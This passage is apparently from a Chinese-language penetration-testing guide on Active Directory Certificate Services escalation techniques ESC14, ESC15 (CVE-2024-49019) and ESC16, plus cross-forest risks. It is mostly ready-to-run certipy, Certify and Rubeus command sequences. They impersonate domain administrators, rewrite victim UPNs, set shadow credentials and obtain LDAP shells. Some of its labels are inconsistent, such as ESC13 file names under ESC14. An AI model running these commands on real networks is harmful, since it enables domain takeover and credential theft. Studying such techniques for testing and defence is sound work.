certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'

脆弱的证书续订配置 - ESC14

解释

在 https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping 的描述非常详尽。以下是原文的引用。

ESC14 解决了由于“弱显式证书映射”而产生的漏洞，主要是通过对 Active Directory 用户或计算机帐户的 altSecurityIdentities 属性的误用或不安全配置。这个多值属性允许管理员手动将 X.509 证书与 AD 帐户关联以进行身份验证。当填充时，这些显式映射可以覆盖默认的证书映射逻辑，后者通常依赖于证书的 UPN 或 DNS 名称，或嵌入在 szOID_NTDS_CA_SECURITY_EXT 安全扩展中的 SID。

“弱”映射发生在 altSecurityIdentities 属性中用于识别证书的字符串值过于宽泛、容易猜测、依赖于非唯一的证书字段，或使用容易被伪造的证书组件。如果攻击者能够获取或伪造一个其属性与特权帐户的弱定义显式映射匹配的证书，他们可以使用该证书以该帐户的身份进行身份验证和冒充。

潜在的弱 altSecurityIdentities 映射字符串的示例包括：

• 仅通过常见的主题通用名称 (CN) 进行映射：例如，X509:<S>CN=SomeUser。攻击者可能能够从不太安全的来源获取带有此 CN 的证书。
• 使用过于通用的颁发者区分名称 (DN) 或主题 DN，而没有进一步的限定，如特定的序列号或主题密钥标识符：例如，X509:<I>CN=SomeInternalCA<S>CN=GenericUser。
• 使用其他可预测的模式或非加密标识符，攻击者可能能够在他们可以合法获取或伪造的证书中满足这些条件（如果他们已攻陷 CA 或找到像 ESC1 中的脆弱模板）。

altSecurityIdentities 属性支持多种映射格式，例如：

• X509:<I>IssuerDN<S>SubjectDN（通过完整的颁发者和主题 DN 进行映射）
• X509:<SKI>SubjectKeyIdentifier（通过证书的主题密钥标识符扩展值进行映射）
• X509:<SR>SerialNumberBackedByIssuerDN（通过序列号进行映射，隐式限定为颁发者 DN） - 这不是标准格式，通常是 <I>IssuerDN<SR>SerialNumber。
• X509:<RFC822>EmailAddress（通过来自 SAN 的 RFC822 名称，通常是电子邮件地址进行映射）
• X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey（通过证书的原始公钥的 SHA1 哈希进行映射 - 通常是强的）

这些映射的安全性在很大程度上依赖于所选证书标识符在映射字符串中的特异性、唯一性和加密强度。即使在域控制器上启用了强证书绑定模式（主要影响基于 SAN UPNs/DNS 和 SID 扩展的隐式映射），如果映射逻辑本身存在缺陷或过于宽松，配置不当的 altSecurityIdentities 条目仍然可能提供冒充的直接路径。

滥用场景

ESC14 针对 Active Directory (AD) 中的 显式证书映射，特别是 altSecurityIdentities 属性。如果该属性被设置（无论是设计还是误配置），攻击者可以通过提供与映射匹配的证书来冒充帐户。

场景 A：攻击者可以写入 altSecurityIdentities

前提条件：攻击者对目标帐户的 altSecurityIdentities 属性具有写入权限，或以以下权限之一的形式授予该权限：

• 写入属性 altSecurityIdentities
• 写入属性 Public-Information
• 写入属性（所有）
• WriteDACL
• WriteOwner*
• GenericWrite
• GenericAll
• Owner*。

场景 B：目标通过 X509RFC822（电子邮件）具有弱映射

• 前提条件：目标在 altSecurityIdentities 中具有弱 X509RFC822 映射。攻击者可以将受害者的邮件属性设置为与目标的 X509RFC822 名称匹配，注册一个作为受害者的证书，并使用它以目标身份进行身份验证。

场景 C：目标具有 X509IssuerSubject 映射

• 前提条件：目标在 altSecurityIdentities 中具有弱 X509IssuerSubject 显式映射。攻击者可以将受害者主体的 cn 或 dNSHostName 属性设置为与目标的 X509IssuerSubject 映射的主题匹配。然后，攻击者可以注册一个作为受害者的证书，并使用该证书以目标身份进行身份验证。

场景 D：目标具有 X509SubjectOnly 映射

• 前提条件：目标在 altSecurityIdentities 中具有弱 X509SubjectOnly 显式映射。攻击者可以将受害者主体的 cn 或 dNSHostName 属性设置为与目标的 X509SubjectOnly 映射的主题匹配。然后，攻击者可以注册一个作为受害者的证书，并使用该证书以目标身份进行身份验证。

具体操作

场景 A

请求证书模板 Machine 的证书

.\Certify.exe request /ca:<ca> /template:Machine /machine

保存并转换证书

certutil -MergePFX .\esc13.pem .\esc13.pfx

使用证书进行身份验证

.\Rubeus.exe asktgt /user:<user> /certificate:C:\esc13.pfx /nowrap

清理（可选）

Remove-AltSecIDMapping -DistinguishedName "CN=TargetUserA,CN=Users,DC=external,DC=local" -MappingString "X509:<I>DC=local,DC=external,CN=external-EXTCA01-CA<SR>250000000000a5e838c6db04f959250000006c"

对于各种攻击场景中的更具体攻击方法，请参考以下内容：adcs-esc14-abuse-technique。

EKUwu 应用程序策略 (CVE-2024-49019) - ESC15

解释

在 https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc 的描述非常详尽。以下是原文的引用。

使用内置的默认版本 1 证书模板，攻击者可以制作一个 CSR，以包含优先于模板中指定的配置扩展密钥使用属性的应用程序策略。唯一的要求是注册权限，它可以用于生成客户端身份验证、证书请求代理和代码签名证书，使用 WebServer 模板。

滥用

以下内容参考了 这个链接，点击查看更详细的使用方法。

Certipy 的 find 命令可以帮助识别如果 CA 未打补丁，可能易受 ESC15 攻击的 V1 模板。

certipy find -username cccc@aaa.htb -password aaaaaa -dc-ip 10.0.0.100

场景 A：通过 Schannel 直接冒充

步骤 1：请求证书，注入“客户端身份验证”应用程序策略和目标 UPN。 攻击者 attacker@corp.local 以“WebServer” V1 模板为目标 administrator@corp.local（该模板允许由注册者提供主题）。

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' \
-application-policies 'Client Authentication'

• -template 'WebServer': 易受攻击的 V1 模板，带有“注册者提供主题”。
• -application-policies 'Client Authentication': 将 OID 1.3.6.1.5.5.7.3.2 注入 CSR 的应用程序策略扩展中。
• -upn 'administrator@corp.local': 在 SAN 中设置 UPN 以进行冒充。

步骤 2：使用获得的证书通过 Schannel (LDAPS) 进行身份验证。

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100' -ldap-shell

Scenario B: PKINIT/Kerberos Impersonation via Enrollment Agent Abuse

Step 1: Request a certificate from a V1 template (with "Enrollee supplies subject"), injecting "Certificate Request Agent" Application Policy. 该证书是为了攻击者 (attacker@corp.local) 成为注册代理。这里没有为攻击者自己的身份指定 UPN，因为目标是代理能力。

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'WebServer' \
-application-policies 'Certificate Request Agent'

• -application-policies 'Certificate Request Agent': 注入 OID 1.3.6.1.4.1.311.20.2.1。

步骤 2：使用“代理”证书代表目标特权用户请求证书。 这是一个类似 ESC3 的步骤，使用步骤 1 中的证书作为代理证书。

certipy req \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -target 'CA.CORP.LOCAL' \
-ca 'CORP-CA' -template 'User' \
-pfx 'attacker.pfx' -on-behalf-of 'CORP\Administrator'

步骤 3：使用“代表”证书以特权用户身份进行身份验证。

certipy auth -pfx 'administrator.pfx' -dc-ip '10.0.0.100'

Security Extension Disabled on CA (Globally)-ESC16

Explanation

ESC16 (通过缺失的 szOID_NTDS_CA_SECURITY_EXT 扩展提升权限) 指的是这样一种情况：如果 AD CS 的配置不强制在所有证书中包含 szOID_NTDS_CA_SECURITY_EXT 扩展，攻击者可以利用这一点：

1. 请求一个 没有 SID 绑定 的证书。

2. 使用该证书 作为任何账户进行身份验证，例如冒充高权限账户（例如，域管理员）。

您还可以参考这篇文章以了解更多详细原理：https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6

Abuse

以下内容参考了 此链接，点击查看更详细的使用方法。

要识别 Active Directory 证书服务 (AD CS) 环境是否易受 ESC16 攻击

certipy find -u 'attacker@corp.local' -p '' -dc-ip 10.0.0.100 -stdout -vulnerable

步骤 1：读取受害者账户的初始 UPN（可选 - 用于恢复）。

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -user 'victim' \
read

步骤 2：将受害者帐户的 UPN 更新为目标管理员的 sAMAccountName。

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'administrator' \
-user 'victim' update

步骤 3: （如有需要）获取“受害者”账户的凭据（例如，通过 Shadow Credentials）。

certipy shadow \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -account 'victim' \
auto

步骤 4：从 任何合适的客户端身份验证模板（例如，“用户”）请求作为“受害者”用户的证书，针对 ESC16 漏洞 CA。 因为 CA 对 ESC16 漏洞，因此它将自动从颁发的证书中省略 SID 安全扩展，无论该扩展的模板特定设置如何。设置 Kerberos 凭证缓存环境变量（shell 命令）：

export KRB5CCNAME=victim.ccache

然后请求证书：

certipy req \
-k -dc-ip '10.0.0.100' \
-target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
-template 'User'

步骤 5：恢复“受害者”账户的 UPN。

certipy account \
-u 'attacker@corp.local' -p 'Passw0rd!' \
-dc-ip '10.0.0.100' -upn 'victim@corp.local' \
-user 'victim' update

步骤 6：以目标管理员身份进行身份验证。

certipy auth \
-dc-ip '10.0.0.100' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'corp.local'

用被动语态解释的证书妥协森林

被妥协的CA破坏森林信任

跨森林注册的配置相对简单。资源森林的根CA证书由管理员发布到账户森林，资源森林的企业CA证书被添加到每个账户森林中的NTAuthCertificates和AIA容器。为了澄清，这种安排授予资源森林中的CA对其管理的所有其他森林的完全控制。如果该CA被攻击者妥协，则资源森林和账户森林中所有用户的证书都可能被伪造，从而破坏森林的安全边界。

授予外部主体的注册权限

在多森林环境中，必须谨慎对待发布证书模板的企业CA，这些模板允许经过身份验证的用户或外部主体（属于企业CA所属森林的外部用户/组）注册和编辑权限。
在信任关系中进行身份验证后，经过身份验证的用户SID会被AD添加到用户的令牌中。因此，如果一个域拥有一个企业CA，其模板允许经过身份验证的用户注册权限，则来自不同森林的用户可能会注册该模板。同样，如果模板明确授予外部主体注册权限，则跨森林访问控制关系由此创建，使得一个森林中的主体能够注册另一个森林中的模板。

这两种情况都会导致攻击面从一个森林增加到另一个森林。攻击者可以利用证书模板的设置在外部域中获得额外权限。

参考文献

• Certify 2.0 – SpecterOps Blog